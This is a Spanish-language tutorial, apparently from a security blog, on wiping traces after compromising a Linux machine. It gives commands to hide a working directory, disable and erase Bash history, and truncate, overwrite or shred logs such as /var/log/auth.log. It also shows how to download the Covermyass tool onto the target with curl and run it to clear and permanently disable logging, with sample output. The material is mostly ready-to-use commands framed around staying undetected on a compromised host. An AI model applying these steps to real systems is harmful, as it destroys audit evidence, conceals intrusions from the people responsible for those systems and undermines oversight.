Cómo Borrar tus Huellas para Eliminar Evidencias en Linux
Cómo Borrar tus Huellas para Eliminar Evidencias en Linux

Cómo Borrar tus Huellas para Eliminar Evidencias en Linux

Para mostrarte los fundamentos de borrar huellas, primero comprometeremos el objetivo y luego examinaremos algunos métodos utilizados para eliminar el historial de Bash, limpiar registros y mantener la privacidad después de usar sistemas Linux. En este artículo, te mostraremos cómo borrar huellas en sistemas Linux.

Ilustración de huellas digitales luego de pentesting
Ilustración de huellas digitales luego de pentesting

Comprometiendo el Objetivo

Lo primero que debemos hacer es utilizar el objetivo. Podemos usar comandos de infiltración para abusar de cómo el servidor maneja los comandos del sistema operativo para obtener una shell. También queremos actualizar nuestra nueva shell a una completamente interactiva. Esto facilitará el trabajo en general y nos permitirá utilizar el autocompletado y el historial del terminal.

Después de esto, podemos elevar nuestros privilegios a root para aprovechar mejor las capacidades del sistema y permanecer sin ser detectados. Esta acción lo dejaremos a tu gusto. Por ejemplo, aquí hay uno JSRAT: Mando y control con JavaScript.

Creación de un Directorio Oculto Fácilmente Eliminable

Creando carpeta oculta de Linux
Creando carpeta oculta de Linux

Con acceso de root, podemos crear un directorio oculto para trabajar y almacenar cualquier script o archivo. Esto no engañará a nadie excepto al administrador novato, pero otro nivel de confidencialidad ciertamente no perjudicará. Primero, busquemos cualquier directorio escribible con el siguiente comando:

┌──(esgeeks㉿kali)-[~]
└─$ find / -perm -222 -type d 2>/dev/null
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix
/tmp/.font-unix
/tmp/.XIM-unix
/dev/mqueue
/dev/shm
/var/tmp
/var/lib/php/sessions
/run/screen
/run/lock

Podemos crear un directorio oculto con el comando mkdir y colocando un punto antes del nombre:

# mkdir /dev/shm/.secreto

Si ahora listamos el contenido de /dev/shm, no veremos nada:

┌──(esgeeks㉿kali)-[~]
└─$ ls -l /dev/shm/
total 0

Solo cuando usamos el interruptor -a para mostrar todos los archivos y directorios, aparecerá:

┌──(esgeeks㉿kali)-[~]
└─$ ls -la /dev/shm/
total 0
drwxrwxrwt  3 root    root      60 dic  1 12:00 .
drwxr-xr-x 17 root    root    3420 dic  1 11:50 ..
drwxr-xr-x  2 esgeeks esgeeks   40 dic  1 12:00 .secreto

Y para eliminar el directorio después de terminar de trabajar en la máquina, utiliza el comando rmdir:

# rmdir /dev/shm/.secreto 

Borrando el Historial de Bash

Bash almacena la lista de comandos utilizados en la sesión actual en la memoria, por lo que es importante limpiarlo para borrar huellas. Podemos revisar el historial actual con el comando history:

esgeeks㉿kali:/# history

Los comandos se escriben en la variable de entorno HISTFILE, que suele ser .bash_history. Podemos repetir esto para ver la ubicación:

┌──(esgeeks㉿kali)-[~]
└─$ echo $HISTFILE
/home/esgeeks/.zsh_history

Podemos utilizar el comando unset para eliminar una variable:

# unset HISTFILE

Entonces, cuando repetimos esto de nuevo, no aparece nada:

# echo $HISTFILE

También podemos asegurarnos de que el historial de comandos no se guarde enviándolo a /dev/null. Establece la variable para ello:

# HISTFILE=/dev/null

O haz lo mismo con el comando export:

# export HISTFILE=/dev/null

Y ahora el historial se enviará a /dev/null (a ninguna parte):

┌──(esgeeks㉿kali)-[~]
└─$ echo $HISTFILE
/dev/null

Podemos establecer la cantidad de comandos que se almacenarán durante la sesión actual en 0, utilizando la variable HISTSIZE:

# HISTSIZE=0

Como alternativa, utiliza el comando export:

# export HISTSIZE=0

También podemos cambiar la cantidad permitida de líneas en el archivo de historial utilizando la variable HISTFILESIZE. Establece este valor en 0:

# HISTFILESIZE=0

O con export:

# export HISTFILESIZE=0

El comando set también se puede utilizar para cambiar los parámetros de la shell. Para desactivar la opción de historial, utiliza el siguiente comando:

# set +o history

Y para volver a activarlo:

# set -o history

De la misma manera, el comando shopt se puede usar para cambiar los parámetros de la shell. Para desactivar el historial, utiliza el siguiente comando:

# shopt -ou history

Y para volver a activarlo:

# shopt -os history

Cuando ejecutamos comandos en el sistema objetivo, a veces podemos evitar que se guarden en el historial comenzando el comando con un espacio inicial:

#  cat /etc/passwd

Este método no funciona siempre y depende del sistema. También podemos simplemente borrar el historial con la opción -c:

# history -c

Para asegurarnos de que los cambios se guarden en el disco, utiliza la opción -w:

# history -w

Esto borra el historial solo para la sesión actual. Para asegurarnos de que el historial se borre por completo al salir de la sesión, utilizamos el siguiente comando:

# cat /dev/null > ~/.bash_history && history -c && exit

También podemos utilizar el comando kill para salir de la sesión sin guardar el historial:

# kill -9 $$

Limpieza de Archivos de Registro

Además del historial de Bash, también es necesario borrar archivos de registro para permanecer desapercibido. Aquí hay algunos archivos de registro comunes y su contenido:

Limpiando archivos de registro en Linux
Limpiando archivos de registro en Linux
/var/log/auth.log Authentication
/var/log/cron.log Cron Jobs
/var/log/maillog Mail
/var/log/httpd Apache

Por supuesto, podríamos simplemente eliminar el registro con el comando rm:

# rm /var/log/auth.log

Pero esto probablemente levantaría sospechas, así que es mejor limpiar el archivo en lugar de borrarlo por completo. Podemos usar el comando truncate para reducir el tamaño a 0:

# truncate -s 0 /var/log/auth.log

Ten en cuenta que la función de truncar no siempre está presente en todos los sistemas.

Podemos hacer lo mismo sin imprimir nada en el archivo:

# echo '' > /var/log/auth.log

También podemos usar > para limpiar el archivo:

# > /var/log/auth.log

También podemos enviarlo a /dev/null:

# cat /dev/null > /var/log/auth.log

O utilizar el comando tee:

# true | tee /var/log/auth.log

También podemos usar el comando dd para no escribir nada en el archivo de registro:

┌──(esgeeks㉿kali)-[~]
└─$ sudo dd if=/dev/null of=/var/log/auth.log
0+0 records in
0+0 records out
0 bytes copied, 0.000371833 s, 0.0 kB/s

El comando shred se puede utilizar para sobrescribir el archivo con datos binarios sin sentido:

# shred /var/log/auth.log

Incluso podemos agregar -zu para truncar el archivo y sobrescribirlo con ceros para ocultar las huellas de la destrucción:

# shred -zu /var/log/auth.log

Herramientas para Verificar la Limpieza de Evidencias

Para aumentar la probabilidad de que cualquier actividad en el objetivo pase desapercibida, podemos usar una herramienta que garantice que todo se borre. Covermyass es un script que automatiza la mayor parte de los procesos que ya hemos revisado, incluida la limpieza de archivos de registro y la desactivación del historial de Bash.

Podemos obtener el script desde GitHub usando Curl (siempre que tengamos acceso a Internet en el objetivo; de lo contrario, tendremos que transferirlo manualmente):

curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_linux_amd64 -o ./covermyass

Ve a un directorio con permisos de escritura y usa chmod para hacerlo ejecutable:

chmod +x ./covermyass

A continuación, podemos ejecutarlo:

# ./covermyass
Welcome to Cover my ass tool !
Select an option :
1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool
>

Se nos da un prompt personalizado con varias opciones para elegir. Elijamos la primera para borrar los registros:

> 1
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.

También podemos desactivar Bash y el historial de inicio de sesión con la opción 2:

> 2
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library
Permenently disabled bash log.

Y si necesitas borrar todo urgentemente, simplemente añade now al comando:

# ./covermyass now
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.
Reminder: your need to reload the session to see effects.
Type exit to do so.

Conclusión

Hoy exploramos diversos métodos para ocultar nuestras acciones y permanecer sin ser detectados en una máquina comprometida. Revisamos maneras de desactivar y borrar el historial de Bash, métodos para limpiar los archivos de registro, y utilizamos la herramienta Covermyass para asegurarnos de que nuestra actividad en el objetivo fuera borrada.

Aunque existen otras formas de eliminar ciertos rastros de un ataque, como el uso de Metasploit, scripts de shell, o realizar estas acciones en una máquina Windows comprometida, lo mencionado anteriormente debería ser suficiente para una máquina Linux básica.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda